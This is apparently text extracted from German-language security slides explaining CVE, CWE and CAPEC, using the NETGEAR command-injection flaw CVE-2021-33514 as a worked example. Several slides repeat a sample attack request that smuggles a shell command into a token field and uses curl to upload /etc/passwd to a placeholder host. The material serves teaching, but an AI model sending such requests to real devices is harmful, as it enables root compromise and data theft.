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…und die Top 25 Most Dangerous Software Weaknesses





Das System soll sicher sein.







Die magische
Pentest-Blackbox



Hacker Mate, Voodoo &
Schwarze Magie
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Quelle: National Institute of Standards and Technology (NIST)
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Je später ein Problem 
behoben wird, desto teurer.



“If you fail a penetration test you know you 
have a very bad problem indeed.

If you pass a penetration test you do not 
know that you don’t have a very bad problem.

― Gary McGraw*

* According to OWASP Testing Guide v3
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Weaknesses

Vulnerabilities

Attack Patterns

Exploit

CVE

CWE

CAPEC

serious 1337 skillz
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“Weaknesses are things, that can be a problem 
in the right conditions. Those right conditions 
are what makes them vulnerabilities.

― Robert Martin, CWE/CAPEC Program Manager



CAPEC

CVE

CWE

Konkrete, produkt- und versionsspezifische, 
öffentlich bekannte Schwachstellen.

Formale Sammlung von Schwächen in Software 
und Hardware, die die Ursachen für Schwachstellen 
darstellen können.

Formale Sammlung von implementierungsunabhängigen 
Angriffstechniken, inkl. typischen Schritten zur 
Durchführung des Angriffs.



CVE-2021-33514
Unauthenticated Command Injection
in Certain NETGEAR Smart Switches

8.8 / 10.0

Image: NETGEAR

https://gynvael.coldwind.pl/?lang=en&id=733
https://gynvael.coldwind.pl/?lang=en&id=733


CAPEC-88

GET /sqfs/home/web/cgi/setup.cgi?token=';$HTTP_USER_AGENT;'
User-Agent: curl --upload-file /etc/passwd http://evil.sink/

Command 
execution as root

Unauthenticated
Attacker on LAN
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https://capec.mitre.org/data/definitions/88.html
https://capec.mitre.org/data/definitions/88.html
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CVE-2021-33514

CAPEC-88

GET /sqfs/home/web/cgi/setup.cgi?token=';$HTTP_USER_AGENT;'
User-Agent: curl --upload-file /etc/passwd http://evil.sink/

Command 
execution as root

Unauthenticated
Attacker on LAN

Icons made by Freepik, Smashicons from www.flaticon.com



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33514
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33514


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33514
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33514


CVE-2021-33514 CWE-78

CAPEC-88

GET /sqfs/home/web/cgi/setup.cgi?token=';$HTTP_USER_AGENT;'
User-Agent: curl --upload-file /etc/passwd http://evil.sink/

Command 
execution as root

Unauthenticated
Attacker on LAN

Icons made by Freepik, Smashicons from www.flaticon.com



V V V V

B B

C
CLASS
CWE-119: Improper Restriction of Operations
within the Bounds of a Memory Buffer

BASE
CWE-787: Out-of-Bounds Write

VARIANT
CWE-121: Stack-based Buffer Overflow

CATEGORYVIEW PILLAR



https://cwe.mitre.org/data/definitions/78.html
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CWE Top 25 Most Dangerous
Software Weaknesses
(...and Weaknesses on the Cusp)
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Leider nicht für Software Weaknesses…








